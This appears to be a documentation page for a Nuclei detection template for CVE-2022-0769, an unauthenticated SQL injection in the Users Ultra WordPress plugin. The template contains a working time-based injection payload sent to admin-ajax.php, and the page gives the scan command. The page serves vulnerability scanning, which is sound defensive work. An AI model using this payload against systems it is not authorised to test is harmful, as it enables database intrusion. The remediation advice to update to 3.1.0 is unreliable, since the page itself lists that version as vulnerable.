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Users Ultra <= 3.1.0 - SQL Injection

ID: CVE-2022-0769

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra

Description

Section titled “Description”

The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.

YAML Source

Section titled “YAML Source”
id: CVE-2022-0769


info:
  name: Users Ultra <= 3.1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The Users Ultra WordPress plugin through 3.1.0 fails to properly sanitize and escape the data_target parameter before it is being interpolated in an SQL statement and then executed via the rating_vote AJAX action (available to both unauthenticated and authenticated users), leading to an SQL Injection.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized accessand data leakage.
  remediation: |
    Update to Users Ultra version 3.1.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/05eab45d-ebe9-440f-b9c3-73ec40ef1141
    - https://wordpress.org/plugins/users-ultra/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0769
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0769
    cwe-id: CWE-89
    epss-score: 0.02367
    epss-percentile: 0.89814
    cpe: cpe:2.3:a:usersultra:users_ultra:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: usersultra
    product: users_ultra
    framework: wordpress
  tags: time-based-sqli,cve,cve2022,wp,users-ultra,wpscan,sqli,wordpress,wp-plugin,usersultra


http:
  - raw:
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        action=rating_vote&data_id=1&data_target=vote_score+%3d+1+AND+(SELECT+3+FROM+(SELECT(SLEEP(6)))gwe)--+


    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "You have to be logged in to leave your rate")'
        condition: and
# digest: 4a0a00473045022100aa7bce1f28f4d7205520411cbe018c8f94f5b562ae1ee6b74a771cf68d48f5f1022000f52e9282f9d89f178785be0b816c170826ea14d3857c79ccd232fcfa4400b0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0769.yaml"

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